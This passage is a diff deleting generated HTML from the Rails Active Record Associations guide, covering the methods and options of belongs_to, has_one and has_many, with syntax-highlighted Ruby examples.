-<td class="content">If you set the <tt>:select</tt> option on a <tt>belongs_to</tt> association, you should also set the <tt>foreign_key</tt> option to guarantee the correct results.</td>
-</tr></table>
-</div>
-<h5 id="_tt_validate_tt"><tt>:validate</tt></h5>
-<div class="para"><p>If you set the <tt>:validate</tt> option to <tt>true</tt>, then associated objects will be validated whenever you save this object. By default, this is <tt>false</tt>: associated objects will not be validated when this object is saved.</p></div>
-<h4 id="_when_are_objects_saved">4.1.3. When are Objects Saved?</h4>
-<div class="para"><p>Assigning an object to a <tt>belongs_to</tt> association does <em>not</em> automatically save the object. It does not save the associated object either.</p></div>
-<h3 id="_the_has_one_association">4.2. The has_one Association</h3>
-<div class="para"><p>The <tt>has_one</tt> association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use <tt>belongs_to</tt> instead.</p></div>
-<h4 id="_methods_added_by_tt_has_one_tt">4.2.1. Methods Added by <tt>has_one</tt></h4>
-<div class="para"><p>When you declare a <tt>has_one</tt> association, the declaring class automatically gains five methods related to the association:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<tt><em>association</em>(force_reload = false)</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>association</em>=(associate)</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>association</em>.nil?</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>build<em>_association</em>(attributes = {})</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>create<em>_association</em>(attributes = {})</tt>
-</p>
-</li>
-</ul></div>
-<div class="para"><p>In all of these methods, <tt><em>association</em></tt> is replaced with the symbol passed as the first argument to <tt>has_one</tt>. For example, given the declaration:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_one <span style="color: #990000">:</span>account
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Each instance of the <tt>Supplier</tt> model will have these methods:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>account
-account<span style="color: #990000">=</span>
-account<span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">?</span>
-build_account
-create_account
-</tt></pre></div></div>
-<h5 id="_tt_em_association_em_force_reload_false_tt_2"><tt><em>association</em>(force_reload = false)</tt></h5>
-<div class="para"><p>The <tt><em>association</em></tt> method returns the associated object, if any. If no associated object is found, it returns <tt>nil</tt>.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@account</span> <span style="color: #990000">=</span> <span style="color: #009900">@supplier</span><span style="color: #990000">.</span>account
-</tt></pre></div></div>
-<div class="para"><p>If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass <tt>true</tt> as the <tt>force_reload</tt> argument.</p></div>
-<h5 id="_tt_em_association_em_associate_tt_2"><tt><em>association</em>=(associate)</tt></h5>
-<div class="para"><p>The <tt><em>association</em>=</tt> method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object's foreign key to the same value.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@suppler</span><span style="color: #990000">.</span>account <span style="color: #990000">=</span> <span style="color: #009900">@account</span>
-</tt></pre></div></div>
-<h5 id="_tt_em_association_em_nil_tt_2"><tt><em>association</em>.nil?</tt></h5>
-<div class="para"><p>The <tt><em>association</em>.nil?</tt> method returns <tt>true</tt> if there is no associated object.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@supplier</span><span style="color: #990000">.</span>account<span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">?</span>
-  <span style="color: #009900">@msg</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"No account found for this supplier"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h5 id="_tt_build_em_association_em_attributes_tt_2"><tt>build<em>_association</em>(attributes = {})</tt></h5>
-<div class="para"><p>The <tt>build<em>_association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will _not_ yet be saved.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@account</span> <span style="color: #990000">=</span> <span style="color: #009900">@supplier</span><span style="color: #990000">.</span>build_account<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>terms <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Net 30"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<h5 id="_tt_create_em_association_em_attributes_tt_2"><tt>create<em>_association</em>(attributes = {})</tt></h5>
-<div class="para"><p>The <tt>create<em>_association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations).</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@account</span> <span style="color: #990000">=</span> <span style="color: #009900">@supplier</span><span style="color: #990000">.</span>create_account<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>terms <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Net 30"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<h4 id="_options_for_tt_has_one_tt">4.2.2. Options for <tt>has_one</tt></h4>
-<div class="para"><p>In many situations, you can use the default behavior of <tt>has_one</tt> without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a <tt>has_one</tt> association. For example, an association with several options might look like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_one <span style="color: #990000">:</span>account<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Billing"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>dependent <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>nullify
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>has_one</tt> association supports these options:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<tt>:as</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:class_name</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:conditions</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:dependent</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:foreign_key</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:include</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:order</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:primary_key</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:readonly</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:select</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:source</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:source_type</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:through</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:validate</tt>
-</p>
-</li>
-</ul></div>
-<h5 id="_tt_as_tt"><tt>:as</tt></h5>
-<div class="para"><p>Setting the <tt>:as</tt> option indicates that this is a polymorphic association. Polymorphic associations are discussed in detail later in this guide.</p></div>
-<h5 id="_tt_class_name_tt_2"><tt>:class_name</tt></h5>
-<div class="para"><p>If the name of the other model cannot be derived from the association name, you can use the <tt>:class_name</tt> option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is Billing, you'd set things up this way:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_one <span style="color: #990000">:</span>account<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Billing"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h5 id="_tt_conditions_tt_2"><tt>:conditions</tt></h5>
-<div class="para"><p>The <tt>:conditions</tt> option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL <tt>WHERE</tt> clause).</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_one <span style="color: #990000">:</span>account<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"confirmed = 1"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h5 id="_tt_dependent_tt_2"><tt>:dependent</tt></h5>
-<div class="para"><p>If you set the <tt>:dependent</tt> option to <tt>:destroy</tt>, then deleting this object will call the destroy method on the associated object to delete that object. If you set the <tt>:dependent</tt> option to <tt>:delete</tt>, then deleting this object will delete the associated object <em>without</em> calling its <tt>destroy</tt> method. If you set the <tt>:dependent</tt> option to <tt>:nullify</tt>, then deleting this object will set the foreign key in the association object to <tt>NULL</tt>.</p></div>
-<h5 id="_tt_foreign_key_tt_2"><tt>:foreign_key</tt></h5>
-<div class="para"><p>By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix <tt>_id</tt> added. The <tt>:foreign_key</tt> option lets you set the name of the foreign key directly:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_one <span style="color: #990000">:</span>account<span style="color: #990000">,</span> <span style="color: #990000">:</span>foreign_key <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"supp_id"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.</td>
-</tr></table>
-</div>
-<h5 id="_tt_include_tt_2"><tt>:include</tt></h5>
-<div class="para"><p>You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_one <span style="color: #990000">:</span>account
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  belongs_to <span style="color: #990000">:</span>supplier
-  belongs_to <span style="color: #990000">:</span>representative
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Representative <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>accounts
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>If you frequently retrieve representatives directly from suppliers (<tt>@supplier.account.representative</tt>), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_one <span style="color: #990000">:</span>account<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>representative
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  belongs_to <span style="color: #990000">:</span>supplier
-  belongs_to <span style="color: #990000">:</span>representative
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Representative <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>accounts
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h5 id="_tt_order_tt"><tt>:order</tt></h5>
-<div class="para"><p>The <tt>:order</tt> option dictates the order in which associated objects will be received (in the syntax used by a SQL <tt>ORDER BY</tt> clause). Because a <tt>has_one</tt> association will only retrieve a single associated object, this option should not be needed.</p></div>
-<h5 id="_tt_primary_key_tt"><tt>:primary_key</tt></h5>
-<div class="para"><p>By convention, Rails guesses that the column used to hold the primary key of this model is <tt>id</tt>. You can override this and explicitly specify the primary key with the <tt>:primary_key</tt> option.</p></div>
-<h5 id="_tt_readonly_tt_2"><tt>:readonly</tt></h5>
-<div class="para"><p>If you set the <tt>:readonly</tt> option to <tt>true</tt>, then the associated object will be read-only when retrieved via the association.</p></div>
-<h5 id="_tt_select_tt_2"><tt>:select</tt></h5>
-<div class="para"><p>The <tt>:select</tt> option lets you override the SQL <tt>SELECT</tt> clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.</p></div>
-<h5 id="_tt_source_tt"><tt>:source</tt></h5>
-<div class="para"><p>The <tt>:source</tt> option specifies the source association name for a <tt>has_one :through</tt> association.</p></div>
-<h5 id="_tt_source_type_tt"><tt>:source_type</tt></h5>
-<div class="para"><p>The <tt>:source_type</tt> option specifies the source association type for a <tt>has_one :through</tt> association that proceeds through a polymorphic association.</p></div>
-<h5 id="_tt_through_tt"><tt>:through</tt></h5>
-<div class="para"><p>The <tt>:through</tt> option specifies a join model through which to perform the query. <tt>has_one :through</tt> associations are discussed in detail later in this guide.</p></div>
-<h5 id="_tt_validate_tt_2"><tt>:validate</tt></h5>
-<div class="para"><p>If you set the <tt>:validate</tt> option to <tt>true</tt>, then associated objects will be validated whenever you save this object. By default, this is <tt>false</tt>: associated objects will not be validated when this object is saved.</p></div>
-<h4 id="_when_are_objects_saved_2">4.2.3. When are Objects Saved?</h4>
-<div class="para"><p>When you assign an object to a <tt>has_one</tt> association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too.</p></div>
-<div class="para"><p>If either of these saves fails due to validation errors, then the assignment statement returns <tt>false</tt> and the assignment itself is cancelled.</p></div>
-<div class="para"><p>If the parent object (the one declaring the <tt>has_one</tt> association) is unsaved (that is, <tt>new_record?</tt> returns <tt>true</tt>) then the child objects are not saved.</p></div>
-<div class="para"><p>If you want to assign an object to a <tt>has_one</tt> association without saving the object, use the <tt>association.build</tt> method.</p></div>
-<h3 id="_the_has_many_association">4.3. The has_many Association</h3>
-<div class="para"><p>The <tt>has_many</tt> association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class.</p></div>
-<h4 id="_methods_added">4.3.1. Methods Added</h4>
-<div class="para"><p>When you declare a <tt>has_many</tt> association, the declaring class automatically gains 13 methods related to the association:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<tt><em>collection</em>(force_reload = false)</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>&lt;&lt;(object, &#8230;)</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>.delete(object, &#8230;)</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>=objects</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection_singular</em>_ids</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection_singular</em>_ids=ids</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>.clear</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>.empty?</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>.size</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>.find(&#8230;)</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>.exist?(&#8230;)</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>.build(attributes = {}, &#8230;)</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>.create(attributes = {})</tt>
-</p>
-</li>
-</ul></div>
-<div class="para"><p>In all of these methods, <tt><em>collection</em></tt> is replaced with the symbol passed as the first argument to <tt>has_many</tt>, and <tt><em>collection_singular</em></tt> is replaced with the singularized version of that symbol.. For example, given the declaration:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>orders
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Each instance of the customer model will have these methods:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>orders<span style="color: #990000">(</span>force_reload <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span><span style="color: #990000">)</span>
-orders<span style="color: #990000">&lt;&lt;(</span>object<span style="color: #990000">,</span> <span style="color: #990000">...)</span>
-orders<span style="color: #990000">.</span>delete<span style="color: #990000">(</span>object<span style="color: #990000">,</span> <span style="color: #990000">...)</span>
-orders<span style="color: #990000">=</span>objects
-order_ids
-order_ids<span style="color: #990000">=</span>ids
-orders<span style="color: #990000">.</span>clear
-orders<span style="color: #990000">.</span>empty?
-orders<span style="color: #990000">.</span>size
-orders<span style="color: #990000">.</span>find<span style="color: #990000">(...)</span>
-orders<span style="color: #990000">.</span>exist?<span style="color: #990000">(...)</span>
-orders<span style="color: #990000">.</span>build<span style="color: #990000">(</span>attributes <span style="color: #990000">=</span> <span style="color: #FF0000">{}</span><span style="color: #990000">,</span> <span style="color: #990000">...)</span>
-orders<span style="color: #990000">.</span>create<span style="color: #990000">(</span>attributes <span style="color: #990000">=</span> <span style="color: #FF0000">{}</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<h5 id="_tt_em_collection_em_force_reload_false_tt"><tt><em>collection</em>(force_reload = false)</tt></h5>
-<div class="para"><p>The <tt><em>collection</em></tt> method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@orders</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders
-</tt></pre></div></div>
-<h5 id="_tt_em_collection_em_lt_lt_object_8230_tt"><tt><em>collection</em>&lt;&lt;(object, &#8230;)</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>&lt;&lt;</tt> method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders <span style="color: #990000">&lt;&lt;</span> <span style="color: #009900">@order1</span>
-</tt></pre></div></div>
-<h5 id="_tt_em_collection_em_delete_object_8230_tt"><tt><em>collection</em>.delete(object, &#8230;)</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>.delete</tt> method removes one or more objects from the collection by setting their foreign keys to <tt>NULL</tt>.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders<span style="color: #990000">.</span>delete<span style="color: #990000">(</span><span style="color: #009900">@order1</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/warning.png" alt="Warning" />
-</td>
-<td class="content">Objects will be in addition destroyed if they're associated with <tt>:dependent &#8658; :destroy</tt>, and deleted if they're associated with <tt>:dependent &#8658; :delete_all</tt>.</td>
-</tr></table>
-</div>
-<h5 id="_tt_em_collection_em_objects_tt"><tt><em>collection</em>=objects</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>=</tt> method makes the collection contain only the supplied objects, by adding and deleting as appropriate.</p></div>
-<h5 id="_tt_em_collection_singular_em_ids_tt"><tt><em>collection_singular</em>_ids</tt></h5>
-<div class="para"><p>The <tt><em>collection_singular</em>_ids</tt> method returns an array of the ids of the objects in the collection.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@order_ids</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>order_ids
-</tt></pre></div></div>
-<h5 id="_tt_em_collection_singular_em_ids_ids_tt"><tt><em>_collection_singular</em>_ids=ids</tt></h5>
-<div class="para"><p>The <tt><em>_collection_singular</em>_ids=</tt> method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.</p></div>
-<h5 id="_tt_em_collection_em_clear_tt"><tt><em>collection</em>.clear</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>.clear</tt> method removes every object from the collection. This destroys the associated objects if they are associated with <tt>:dependent &#8658; :destroy</tt>, deletes them directly from the database if <tt>:dependent &#8658; :delete_all</tt>, and otherwise sets their foreign keys to <tt>NULL</tt>.</p></div>
-<h5 id="_tt_em_collection_em_empty_tt"><tt><em>collection</em>.empty?</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>.empty?</tt> method returns <tt>true</tt> if the collection does not contain any associated objects.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;% if @customer.orders.empty? %&gt;</span>
-  No Orders Found
-<span style="color: #FF0000">&lt;% end %&gt;</span>
-</tt></pre></div></div>
-<h5 id="_tt_em_collection_em_size_tt"><tt><em>collection</em>.size</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>.size</tt> method returns the number of objects in the collection.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@order_count</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders<span style="color: #990000">.</span>size
-</tt></pre></div></div>
-<h5 id="_tt_em_collection_em_find_8230_tt"><tt><em>collection</em>.find(&#8230;)</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as <tt>ActiveRecord::Base.find</tt>.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@open_orders</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"open = 1"</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<h5 id="_tt_em_collection_em_exist_8230_tt"><tt><em>collection</em>.exist?(&#8230;)</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>.exist?</tt> method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as <tt>ActiveRecord::Base.exists?</tt>.</p></div>
-<h5 id="_tt_em_collection_em_build_attributes_8230_tt"><tt><em>collection</em>.build(attributes = {}, &#8230;)</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>.build</tt> method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will <em>not</em> yet be saved.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@order</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders<span style="color: #990000">.</span>build<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>order_date <span style="color: #990000">=&gt;</span> Time<span style="color: #990000">.</span>now<span style="color: #990000">,</span> <span style="color: #990000">:</span>order_number <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"A12345"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<h5 id="_tt_em_collection_em_create_attributes_tt"><tt><em>collection</em>.create(attributes = {})</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and the associated object <em>will</em> be saved (assuming that it passes any validations).</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@order</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders<span style="color: #990000">.</span>create<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>order_date <span style="color: #990000">=&gt;</span> Time<span style="color: #990000">.</span>now<span style="color: #990000">,</span> <span style="color: #990000">:</span>order_number <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"A12345"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<h4 id="_options_for_has_many">4.3.2. Options for has_many</h4>
-<div class="para"><p>In many situations, you can use the default behavior for <tt>has_many</tt> without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a <tt>has_many</tt> association. For example, an association with several options might look like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>dependent <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>delete_all<span style="color: #990000">,</span> <span style="color: #990000">:</span>validate <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>has_many</tt> association supports these options:</p></div>
-<div class="ilist"><ul>
-<li>
